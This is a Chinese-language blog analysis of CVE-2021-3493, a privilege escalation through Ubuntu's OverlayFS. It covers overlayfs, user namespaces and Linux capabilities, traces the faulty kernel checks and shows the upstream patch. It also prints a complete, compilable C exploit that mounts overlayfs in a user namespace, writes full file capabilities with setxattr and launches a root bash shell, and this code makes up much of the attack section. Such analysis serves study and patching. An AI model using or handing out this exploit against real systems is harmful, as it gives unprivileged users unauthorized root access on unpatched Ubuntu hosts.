CVE-2021-3493 Ubuntu内核OverlayFS权限逃逸漏洞分析
本文首发于安全客 https://www.anquanke.com/post/id/240030
# 前置知识
# Overlay文件系统
Overlayfs
是一种堆叠文件系统,它依赖并建立在其它的文件系统之上(例如ext4fs
和xfs
等等),并不直接参与磁盘空间结构的划分,仅仅将原来底层文件系统中不同的目录进行“合并”,然后向用户呈现。因此对于用户来说,它所见到的overlay
文件系统根目录下的内容就来自挂载时所指定的不同目录的“合集”。如下图所示
其挂载文件的基本命令如下:
mount -t overlay overlay -o lowerdir=lower1:lower2:lower3,upperdir=upper,workdir=work merged。
其中lower1:lower2:lower3
表示不同的lower层目录,不同的目录使用:
分隔,层次关系依次为lower1 > lower2 > lower3
- upper层是目录和文件系统挂载后用于存放临时和间接文件的工作基目录(work base dir)
- merged目录就是最终的挂载点目录
正常执行以上命令后,overlayfs
就成功挂载到merged
目录下了。
# Linux Namespace
User namespace
是Linux 3.8
新增的一种namespace
,用于隔离安全相关的资源,包括user IDs and group IDs,keys, capabilities
。一个用户可以在一个user namespace
中是普通用户,但在另一个user namespace
中是超级用户。
User namespace
可以嵌套(目前内核控制最多32层),除了系统默认的user namespace
外,所有的user namespace
都有一个父user namespace
,每个 user namespace
都可以有零到多个子user namespace
。当在一个进程中调用 unshare
或者clone
创建新的user namespace
时,当前进程原来所在的 user namespace
为父user namespace
,新的user namespace 为子 user namespace
。
# Capabilitiy提权
Capabilities
机制是在Linux 2.2
之后引入的,原理很简单,就是将之前与超级用户root(UID=0
关联的特权细分为不同的功能组,Capabilites
作为线程(Linux并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。
每个进程都有五个·capability
集合:Permitted,Inheritable,Effective,Ambient,Bounding
。文件的capability
保存在文件的扩展属性security.capability
中。文件有三个capabilitiy
集合:Permitted,Inheritable,Effective
。文件的capability
和进程的capability
一起来决定在执行execve
后,进程的capability
。
在执行特权操作时,如果线程的有效身份不是root
,就去检查其是否具有该特权操作所对应的capabilities
,并以此为依据,决定是否可以执行特权操作。比如ping
程序需要打开套接字,但是需要root
权限才能打开套接字,此时就可通过设置capabilities
来让普通用户使用ping
如果一个程序具有较高的capabilities
且存在漏洞,那么攻击者就可以利用这个程序进行提权。
# 漏洞分析
实验环境:Linux ubuntu 5.8.0-48-generic #54~20.04.1-Ubuntu SMP Sat Mar 20 13:40:25 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
5.8版本内核主线代码,ovl_fs_type
结构体定义如下
//https://github.com/torvalds/linux/blob/bcf876870b95592b52519ed4aafcf9d95999bc9c/fs/overlayfs/super.c#L1947
static struct file_system_type ovl_fs_type = {
.owner = THIS_MODULE,
.name = "overlay",
.mount = ovl_mount,
.kill_sb = kill_anon_super,
};
MODULE_ALIAS_FS("overlay");
2
3
4
5
6
7
8
Ubuntu 20.04
对该结构体进行了修改,添加了fs_flags
数据域,并设置为FS_USERNS_MOUNT
,表示将允许一个普通用户在低权限用户命名空间中mount
一个overlayfs
文件系统
#https://launchpadlibrarian.net/528725861/linux_5.8.0-48.54.diff.gz
@@ -1949,6 +1964,7 @@
.name = "overlay",
.mount = ovl_mount,
.kill_sb = kill_anon_super,
+ .fs_flags = FS_USERNS_MOUNT,
};
MODULE_ALIAS_FS("overlay");
2
3
4
5
6
7
8
mount时会进入mount_capable
函数,此时fs->flags = FS_USERNS_MOUNT
进入ns_capable
bool mount_capable(struct fs_context *fc)
{
if (!(fc->fs_type->fs_flags & FS_USERNS_MOUNT))
return capable(CAP_SYS_ADMIN);
else
return ns_capable(fc->user_ns, CAP_SYS_ADMIN);
}
2
3
4
5
6
7
调用链如下
进入ns_capable_common
时
static bool ns_capable_common(struct user_namespace *ns,
int cap,
unsigned int opts)
{
...
capable = security_capable(current_cred(), ns, cap, opts);
if (capable == 0) {
current->flags |= PF_SUPERPRIV;//这里设置了current->flags为PF_SUPERPRIV,即在当前进程上设置超级权限,并返回ture。所以通过挂载overlay文件系统,当前进程具备了超级权限。
return true;
}
return false;
}
2
3
4
5
6
7
8
9
10
11
12
13
当对setxattr()
文件扩展属性的capabilitiy
进行设置时,权限校验不彻底,进入cap_convert_nscap()
函数时,
int cap_convert_nscap(struct dentry *dentry, void **ivalue, size_t size)
{
...
if (size == XATTR_CAPS_SZ_2)
if (ns_capable(inode->i_sb->s_user_ns, CAP_SETFCAP))
/* user is privileged, just write the v2 */
return size;
}
2
3
4
5
6
7
8
如果是capabilitiy
版本2,则直接调用ns_capable()
进行检验,根据注释可知,如果user
有超级权限,则直接写入并返回。
因为当前访问的inode
属于overlay
文件系统。从cap_convert_nscap(
)函数正确返回后,随即进入vfs_setxattr()
函数,接下来分发到overlay
文件系统对应的ovl_xattr_set()
函数中
int ovl_xattr_set(struct dentry *dentry, struct inode *inode, const char *name,
const void *value, size_t size, int flags)
{
int err;
struct dentry *upperdentry = ovl_i_dentry_upper(inode);
struct dentry *realdentry = upperdentry ?: ovl_dentry_lower(dentry);
const struct cred *old_cred;
...
}
2
3
4
5
6
7
8
9
10
其中的upperdentry
和realdentry
就是./eki_ovlcap/upper
目录下的magic
的目录项
也就是说在给overlay
文件系统中的./eki_ovlcap/merge/magic
设置capabilitiy
时就是对ext3文件系统下的./eki_ovlcap/upper/magic
进行设置capabilitiy
从而实现了权限逃逸
# 漏洞演示
下面具体来看Exp的分析
首先fork子进程在子进程中调用exploit
int main(int argc, char *argv[])
{
pid_t child = fork();
if (child == -1)
err(1, "fork");
if (child == 0) {
_exit(exploit());
} else {
waitpid(child, NULL, 0);
}
execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
err(1, "execl %s", BIN_UPPER);
}
2
3
4
5
6
7
8
9
10
11
12
13
下面分析exploit
函数,首先是建立相关文件夹
#define DIR_BASE "./eki_ovlcap"
#define DIR_WORK DIR_BASE "/work"
#define DIR_LOWER DIR_BASE "/lower"
#define DIR_UPPER DIR_BASE "/upper"
#define DIR_MERGE DIR_BASE "/merge"
static int exploit()
{
mkdir(DIR_BASE, 0777);
mkdir(DIR_WORK, 0777);
mkdir(DIR_LOWER, 0777);
mkdir(DIR_UPPER, 0777);
mkdir(DIR_MERGE, 0777);
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
因为overlayfs mount
需要CAP_SYS_MOUNT
,通过unshare
函数创建新的user namespace
使用flag为CLONE_NEWNS | CLONE_NEWUSER
if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
err(1, "unshare");
2
然后获取uid
和gid
,并修改相应文件进行映射
writefile("/proc/self/setgroups", "deny");
uid_t uid = getuid();
gid_t gid = getgid();
sprintf(buf, "0 %d 1", uid);
writefile("/proc/self/uid_map", buf);
sprintf(buf, "0 %d 1", gid);
writefile("/proc/self/gid_map", buf);
2
3
4
5
6
7
8
9
这步是必须的,如下所示
$ id
uid=1000(eki) gid=1001(eki) groups=1001(eki)
$ unshare --user /bin/bash
nobody@EDI:/root$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
2
3
4
5
在新的user namespace
中,当前用户变成了nobody
我们还需要映射父user namespace
的user ID
和group ID
到子user namespace
中来,这一步是必须的,因为这样系统才能控制一个user namespace
里的用户在其他user namespace
中的权限。
映射ID
的方法就是添加映射信息到/proc/PID/uid_map
和 /proc/PID/gid_map
(这里的 PID 是新 user namespace 中的进程 ID,刚开始时这两个文件都是空的)文件中。
文件配置信息的格式如下:
ID-inside-ns ID-outside-ns length
在这里就是
sprintf(buf, "0 %d 1", uid);
writefile("/proc/self/uid_map", buf);
sprintf(buf, "0 %d 1", gid);
writefile("/proc/self/gid_map", buf);
2
3
4
5
其中writefile
函数就是向对应file中写入第二个参数中的字符串,实现后面完整代码
然后挂载overlay文件系统,根据之前的分析,在Ubuntu
中用户是有权限挂载的
#define BIN_MERGE DIR_MERGE "/magic"
sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
err(1, "mount %s", DIR_MERGE);
copyfile("/proc/self/exe", BIN_MERGE, 0777);
2
3
4
5
6
其中copyfile
函数就是将文件复制到第二个参数中,并赋予第三个参数的权限,实现见后面的完整代码
这里是将/proc/self/exe
复制到BIN_MERGE
也就是./eki_ovlcap/merge/magic
下
接着构造一个capabilities
// all+ep
char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";
2
cap
中
\x01\x00\x00\x02 #对应megic_etc
\xff\xff\xff\xff #对应permiited
\x00\x00\x00\x00 #对应inheritable
\xff\xff\xff\xff
\x00\x00\x00\x00
2
3
4
5
效果如下
权限逃逸关键在于setxattr
if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
err(1, "setxattr %s", BIN_MERGE);
2
根据前文漏洞原理介绍,执行完此函数后,属于ext3
文件系统的./eki_ovlcap/upper/magic
文件的capabilitiy
为all+ep
,这个程序就是我们之前copyfile
过去的程序。
#define BIN_UPPER DIR_UPPER "/magic"
pid_t child = fork();
if (child == 0) {
_exit(exploit());
} else {
waitpid(child, NULL, 0); //父进程等待子进程执行exploit完成
}
execl(BIN_UPPER, BIN_UPPER, "shell", NULL);//执行具有权限的BIN_UPPER 也即
err(1, "execl %s", BIN_UPPER);
2
3
4
5
6
7
8
9
10
11
此时具有权限的./eki_ovlcap/upper/magic
进入如下判断语句块,通过setuid(0);setgid(0);
提升权限并执行/bin/bash
获取shell
if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
setuid(0);
setgid(0);
execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
err(1, "execl /bin/bash");
}
2
3
4
5
6
完整Exp如下
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>
//#include <attr/xattr.h>
//#include <sys/xattr.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);
#define DIR_BASE "./eki_ovlcap"
#define DIR_WORK DIR_BASE "/work"
#define DIR_LOWER DIR_BASE "/lower"
#define DIR_UPPER DIR_BASE "/upper"
#define DIR_MERGE DIR_BASE "/merge"
#define BIN_MERGE DIR_MERGE "/magic"
#define BIN_UPPER DIR_UPPER "/magic"
static void writefile(const char *path, const char *data)
{
int fd = open(path, O_WRONLY);
if (fd == -1)
err(1, "open %s", path);
ssize_t len = (ssize_t) strlen(data);
if (write(fd, data, len) != len)
err(1, "write %s", path);
close(fd);
}
static void copyfile(const char *src, const char *dst, mode_t mode)
{
int fi, fo;
if ((fi = open(src, O_RDONLY)) == -1)
err(1, "open %s", src);
if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
err(1, "open %s", dst);
char buf[4096];
ssize_t rd, wr;
for (;;) {
rd = read(fi, buf, sizeof(buf));
if (rd == 0) {
break;
} else if (rd == -1) {
if (errno == EINTR)
continue;
err(1, "read %s", src);
}
char *p = buf;
while (rd > 0) {
wr = write(fo, p, rd);
if (wr == -1) {
if (errno == EINTR)
continue;
err(1, "write %s", dst);
}
p += wr;
rd -= wr;
}
}
close(fi);
close(fo);
}
static int exploit()
{
char buf[4096];
sprintf(buf, "rm -rf '%s/'", DIR_BASE);
system(buf);
mkdir(DIR_BASE, 0777);
mkdir(DIR_WORK, 0777);
mkdir(DIR_LOWER, 0777);
mkdir(DIR_UPPER, 0777);
mkdir(DIR_MERGE, 0777);
if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
err(1, "unshare");
writefile("/proc/self/setgroups", "deny");
uid_t uid = getuid();
gid_t gid = getgid();
sprintf(buf, "0 %d 1", uid);
writefile("/proc/self/uid_map", buf);
sprintf(buf, "0 %d 1", gid);
writefile("/proc/self/gid_map", buf);
sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
err(1, "mount %s", DIR_MERGE);
// all+ep
char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";
copyfile("/proc/self/exe", BIN_MERGE, 0777);
if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
err(1, "setxattr %s", BIN_MERGE);
return 0;
}
int main(int argc, char *argv[])
{
if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
setuid(0);
setgid(0);
execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
err(1, "execl /bin/bash");
}
pid_t child = fork();
if (child == -1)
err(1, "fork");
if (child == 0) {
_exit(exploit());
} else {
waitpid(child, NULL, 0);
}
execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
err(1, "execl %s", BIN_UPPER);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
演示效果如下图
官方给出的修复方法是
diff --git a/fs/xattr.c b/fs/xattr.c
index cd7a563e8bcd4..fd57153b1f617 100644
--- a/fs/xattr.c
+++ b/fs/xattr.c
@@ -276,8 +276,16 @@ vfs_setxattr(struct dentry *dentry, const char *name, const void *value,
{
struct inode *inode = dentry->d_inode;
struct inode *delegated_inode = NULL;
+ const void *orig_value = value;
int error;
+ if (size && strcmp(name, XATTR_NAME_CAPS) == 0) {
+ error = cap_convert_nscap(dentry, &value, size);
+ if (error < 0)
+ return error;
+ size = error;
+ }
+
retry_deleg:
inode_lock(inode);
error = __vfs_setxattr_locked(dentry, name, value, size, flags,
@@ -289,6 +297,9 @@ retry_deleg:
if (!error)
goto retry_deleg;
}
+ if (value != orig_value)
+ kfree(value);
+
return error;
}
EXPORT_SYMBOL_GPL(vfs_setxattr);
@@ -537,12 +548,6 @@ setxattr(struct dentry *d, const char __user *name, const void __user *value,
if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) ||
(strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0))
posix_acl_fix_xattr_from_user(kvalue, size);
- else if (strcmp(kname, XATTR_NAME_CAPS) == 0) {
- error = cap_convert_nscap(d, &kvalue, size);
- if (error < 0)
- goto out;
- size = error;
- }
}
error = vfs_setxattr(d, kname, kvalue, size, flags);
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
每次进入vfs_setxattr()
函数时,都通过cap_convert_nscap()
进行权限校验,判断capabilitiy
和命名空间的权限是否匹配,防止权限逃逸
# 参考资料
- https://blog.csdn.net/qq_15770331/article/details/96699386
- https://www.cnblogs.com/sparkdev/p/9462838.html
- https://www.secrss.com/articles/28488
- https://ssd-disclosure.com/ssd-advisory-overlayfs-pe/
- https://www.secrss.com/articles/30906
- https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=7c03e2cda4a584cadc398e8f6641ca9988a39d52
这是本人第一次分析Linux内核相关代码,如果在文中发现有什么问题,欢迎大家斧正